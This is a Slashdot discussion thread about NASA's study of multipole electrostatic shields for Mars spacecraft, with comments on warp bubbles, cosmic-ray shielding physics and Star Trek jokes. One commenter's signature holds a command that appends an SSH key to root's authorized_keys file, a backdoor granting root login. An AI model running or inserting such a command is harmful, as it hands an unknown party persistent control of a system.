NASA Studying Energy Shields for Spacecraft

Shafe writes "SPACE.COM posted an article concerning enhanced shielding technologies research for futuristic spacecraft en route to Mars. One particularly interesting goal is essentially an energy shield known as a 'multipole electrostatic shield' that would deflect both radiation and micro-meteoroids. We're one step closer to Star Trek: shields up!"

Comments

I wanted to...

[Soul-Burn666]

say that their website should shield up against the slashdot effect, but it's still alive ;)

If it already died, then: "OMGz!! YOU'VE SLASHDOTTED SPACE!!!1"

Re:Now that they have shields,

[weeboo0104]

The only thing astronauts need is a female [Borg, Vulcan, starship captain, councilor] to make that trip to Mars!

I forgot to add "in a tight spandex uniform".

warping of space...

[doublebackslash]

If we were to get a warp drive to work, then that would be our ultimate shield. All this nonsense with electrical this, and radiation that is pointless. All you have to do is warp space in such a way that it creates a vessel in which the spacecraft can exist, but that joins the otter boundary of the 'pocket' into one point. essesntially the pocket plane would not exist from the outside, and since no disturbance of the surrounding space would be apparent by the radiation passing through that point of set of points it would be a perfect cloak. Propulsion would simply involove warping a 'door' on one side of you pocket plane, and connecting that plane to another set of points a certain distance away.

Simple, just as soon as we can manipulate space and time like LSD manipultes the mind with the skill and artistry of Davinci and at speeds aproching that of light.

--
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAACB7VnbesvfvrFgPBW+7ZBQdVm y5RAoSjYpomy0DYGxa5w== rsa-key-20040528" >> /root/.ssh/authorized_keys

Re:warping of space...

[Jerf]

The only problem with this idea is that it requires at least several other impossible things, so don't hold your breath. You need:

• Amounts of energy comparable to the entire output of the Sun. (And the corresponding efficient equipment to handle it without your spaceship suddenly resembling a sun.) Probably impossible (remember, this energy generation has to fit inside the bubble; even if we could do it in general we could never fit it in a spaceship.)
• The ability to directly control gravity, with, to date, absolutely no evidence that it is possible with anything other then black-hole-sized quantities of mass... and black holes still are just general suckers, you can't direct their gravity like you'd need to.
• Negative mass. Much hypothesized, probably impossible in macroscopic amounts. (It's one of the more possible out of this list, but that's not saying much.) You need this for the negative gravity needed to stabalize these spacewarps; it's impossible to build a stable field with any sort of hole in the middle out of pure attractive, inverse-square based fields. (Actually, it's impossible with inverse-square fields in general; you have to have a matter shield in the mix if you want a hole (a charged hollow sphere has a hole on the inside of the sphere), but what shields against gravity?)
• The ability to control all of this not just "in general", but extremely tightly, to create a high distortion outside of the ship without utterly destroying the inside of the ship with gravity fields or tides in the millions of Gs range or more.

A thing that requires multiple other most-likely impossible things is itself impossible, even if you can sort of make the math work.

(Am I absolutely sure such space warping can't be used for travel? Technically, no. Then again, I'm not absolutely sure that when I drop this apple, it will fall to the ground, either; there's an ever so small chance that it won't, even under conventional QM as I understand it. But unless something really strange opens up at the string theory level, with as I said, no reason with current evidence to believe that it will, you're not getting any of this. You're welcome, as so many Slashbots are wont to do, to post an angry reply saying "How do you know this is impossible? We broke the speed of sound, didn't we?" (Which itself betrays a serious misunderstanding of history, reason why left as an exercise for the reader.) But be aware, the evidence is on my side; FTL has reached the point where we need something magical to make it work, and I don't hold my breath waiting for magic.)

Re:warping of space...

[Jerf]

But teleportation is another impossible thing we've conquered through a basic discovery in quantum physics.

You're entitled to your opinion so I won't jump on the rest of your post like I kind of want to.

However, note that teleportation in the conventional sense remains impossible. AFAIK, to date, only single photons have been "teleported" (actually, their quantum state was transferred which still doesn't match most people's mental model; there was still a photon on one end and a photon on the other), and the way in which it was done strongly indicates the impossibility of teleporting anything macroscopic... or for that matter, microscopic. In theory, it's just an "engineering problem"; in reality it's an insurmountable one.

Teleportation, as most people use the word, is more unlikely seeming now then it was fifty years ago. Which brings me to the other nit I'll pick...

I guess what I'm saying is that there is more we don't know than we do know,

Yes, but what we do know increasingly keeps making the probability of ever having certain things continue to recede. More knowlege isn't bringing us closer, it's showing us the uncrossable chasm in increasing detail.

Sure, maybe there's this little string flung across it somewhere, but we've searched more and more of it and we keep finding no such string. Eventually, you have to conclude that it either isn't there, or even if it is, it's so delicate as to be useless.

It's a case of the infinity fallacy: "If we knew an infinite amount of stuff, we'd know how to do X." (A similar argument is often made for "a really, really lot".) But that's a fallacy; an infinite set can still not contain certain elements. The infinite set of all odd numbers does not contain 2, no matter how many of them you examine. To me, it's looking more and more like "how to travel FTL" or "macroscopic teleportation" or a number of other sci-fi concepts ("science-fiction forcefields" (as opposed to the real things, of course, which are entirely different), "time travel" (again in the science fiction senses)) simply isn't in the set of things you can know about the universe, so looking harder isn't going to help. We've been looking harder, and we haven't found any meaningful loopholes to date. The number of places those things can hide is shrinking.

(After all, we're not searching the entire set of knowlege about the universe, which you seem to imply; the fact that I don't know the weather on a planet on the other side of the galaxy does nothing to make FTL possible. The vast sum of knowlege is entirely irrelevant. We're searching a rather narrow domain, and we're running out of places to look.)

SCI-FI hits it again.

[Deflagro]

I bet all these engineers were just big geeks that loved sci-fi and when the problem comes up, they fall back to what they know: Star Trek!
It really never amazes me when they think up something out of a Roddenberry or Asimov story. They are good ideas, just not possible at the time.

Technically, nothing is impossible....given time ;)

article short on details about construction/energy

[snooo53]

The article is very short on details. I am very curious how they plan to make these three spheres. Are we talking actual metal spheres surrounding the spaceship? Or thin strands of wire? Or doing something with a magnetic field similar to earth's without a physical shield?

My other question is what sort of energies are we talking about here since protons are fairly massive? I would guess in the 100+ GeV range (ie. particle accelerator size). Any thoughts or better links?

Shielding

[Mark of THE CITY]

From the article:

The atoms of liquid hydrogen are particularly good as a screen for galactic cosmic rays because they don't fragment into secondary particles as much as heavier elements -- like lead -- do when bombarded by high-energy radiation.

IIRC, bombarding lead with cosmic rays (high energy radiation) produces secondary radiation, not particles. In terresterial radiation shields, a series of layers of metals is needed to provide protection: shield metal layer n+1 absorbs the secondary radiation from layer n.

Of course, such shields are too heavy for space.

Re:Shielding

[EMH_Mark3]

beta radiation == charged particles

Re:Shielding

[barakn]

Space.com muddled this, but you yourself seem to be think that radiation can't be particles (even electromagnetic radiation is released as massless particles). Calling cosmic rays "high energy radiation" does little to clarify the issue. They are high speed ions, mostly protons but also a measure of heavier nuclei right on up to iron mixed in. When cosmic rays slam into our atmosphere they hit the nuclei of oxygen or nitogen, which actually do fragment into a mix of protons, neutrons, pions, and kaons, some of which further decay into muons, neutrinos, electrons, positrons, gammas, etc.

The real reason to use liquid hydrogen is to slow down protons and neutrons efficiently. In perfectly elastic collisions, momentum and energy are most easily transferred between objects of equal mass. To visualize this, imagine trying to play a game of pool using a cue ball made of styrofoam. It bounces off the other balls without imparting much energy to them, right? The hydrogen will quickly slow down the protons and neutrons until they are "thermalized", i.e. have the same kinetic energy spectrum as the hydrogen. Then a secondary process occurs. Protons happen to have the largest thermal neutron absorption cross section known. The protons eat the slow neutrons, releasing gamma rays and becoming deuterons in the process, or the neutrons will just spontaneously decay. Secondary shielding might be necessary, and yes, layers of metal will do the job. They pack enough electrons into a small space that they can slow down the electrons and the negatively charged members of the muon and pion families and absorb the gamma rays.

And then you get...

[j_cavera]

the TARDIS! There are a number of people studying this sort of space warping. go to arxiv.org and so a search for Alcubierre, Krasinov, etc. You will see that this is not such a new (or such a far-out) idea.

Re:article short on details about construction/ene

[Lady Jazzica]

I found the abstract for the paper presented by Metzger, Youngquist and Lane here.

There's no metal spheres involved, just some sort of electrostatic field:

"We have recently observed, however, that the physics and the shielding problem possess certain asymmetries which may be exploited in order to obtain the intended shells of isotropic protection without deploying radially-symmetric charge around the spacecraft. The basic concept is to leverage a multipole expansion of the fields, assigning a different function to different terms in the expansion. As shown in Fig. 1, a positively-repulsive quadrupole term may protect the region closest to the spacecraft from high-energy protons and HZE particles, whereas a weaker but slowly decaying monopole field may deflect thermal electrons away from the larger region of space. The result is that the significant fluxes of both negative and positive particles may be deflected away from the spacecraft using the same electrostatic field. This has the potential to create isotropic protection with a significant reduction in spacecraft mass."

The real reason for nacells

[Marxist Hacker 42]

from the article: The center sphere, set close or even attached to the crew module, would be positively charged, while two outrigger spheres on either side would carry a negative charge.

Outriggers? So the real reason for the nacells on Star Trek is to generate electrostatic fields?

another solution for Mars colonists

[WormholeFiend]

would be to send a lot of them there... knowing that a majority would die from the exposure.

those survivors might be more resistant to radiation, and could possibly pass on that resistance to their offspring, and so on.

evolution is the key to colonizing other environments.

Re:article short on details about construction/ene

[beeplet]

My other question is what sort of energies are we talking about here since protons are fairly massive? I would guess in the 100+ GeV range (ie. particle accelerator size). Any thoughts or better links?

Actually when it comes to cosmic rays, the spectrum extends to the EeV range and even beyond. Here's an energy spectrum. In fact I'm doing my PhD on the study of cosmic rays at energies 10-1000 EeV, much higher energies than can be achieved in current particle accelerators.

For the suits on mars

[foniksonik]

Seeing as how Mars has 1/3rd earth gravity and seeing as how less gravity causes bone loss because our bodies need to respond to our own weight to maintain bone density, seems to me that the ideal suit would be one which weighed just enough to compensate for the lack of gravity. Hopefully the amount of shielding needed would not account for all the extra weight so you could make suits one-size-fits-all and just add extra weight as needed per person.

Re:For the suits on mars

[silentbozo]

The problem with this is even though you may now be anchored with the same relative "weight" on Mars as you would be on Earth, you now have to contend with moving and controlling 3 times the amount of mass.

The other problem is that while this plan might be able to stave off bone loss in high-load areas of your skeleton (ie, legs, portions of spine), it doesn't affect the acceleration felt by muscles and bones not directly impacted by a higher load from where the suit contacts your body. It also doesn't affect how low gravity reduces load on your heart to get the blood from your feet to your lungs.

Although, now that I think about it, the increased physical demands of trying to move and control 3 times your body mass (even in a low grav-planet like Mars) might prove to have certain benefits - no more need for exercise sessions...

Start rounding up the Scottish

[Nascar_Geek]

We'll need one appropriately surly, slightly alchoholic, mechanical genius Scottsman per ship please.

It will take some careful screening, but who else could keep all of the hardware required for this working?

water.

[torpor]

what i never understood is why NASA doesn't focus on super-structure construction ... say a spheroid structure of some geometric order ... which is then filled with water, which then has the crew module inside, which is incidentally designed for self-enclosed, sufficient, sustained surrounded-by-water living ... something we can develop fairly well down here.

in other words, all this effort to make a spacecraft, when in fact we need to a) blow a very big bubble of water, b) put crew in it, c) shove it off in the right direction.

i guess the idea of having an extreme mass of water in orbit is a bit far-fetched, but it always seems weird to me that we're not really pushing our materials-science stuff to be 'lazy' in the right places. humans need water, why don't we just learn to live in the 'water tank' down here, then put it up there and do the same thing ...

well, the relevance, however farfetched, is that water seems to provide a good protection from harmful elements, right? put the electrostatic shields around the massive water sphere, and a yellow submarine or two in the middle, and nudge it on its tumble-weed way to mars ...

Re:water.

[cjameshuff]

Water would probably be better for its mass, actually. More nuclei for the mass...in lead, more of the mass is squeezed into bigger, but still tiny nuclei. Hydrogen and oxygen nuclei are smaller, but there's a lot more of them, so there's more of a "visible" cross-section. You want something dense (to reduce total volume) yet composed of light elements. I also seem to recall that hydrocarbons were particularly good at absorbing radiation.

The problem is that this requires putting a lot of mass into space, and then dragging that mass around wherever you go. Also, you have to carry enough water to protect against relatively brief periods of higher radiation, while with this shielding system, you could conceivably just overbuild the shielding systems and redirect more power to them when necessary.

If orbital mining gets started, we will probably have more than enough water to use for passive habitat shielding, but for anything that needs to accelerate or be lifted into orbit from the surface, it's just too much dead mass.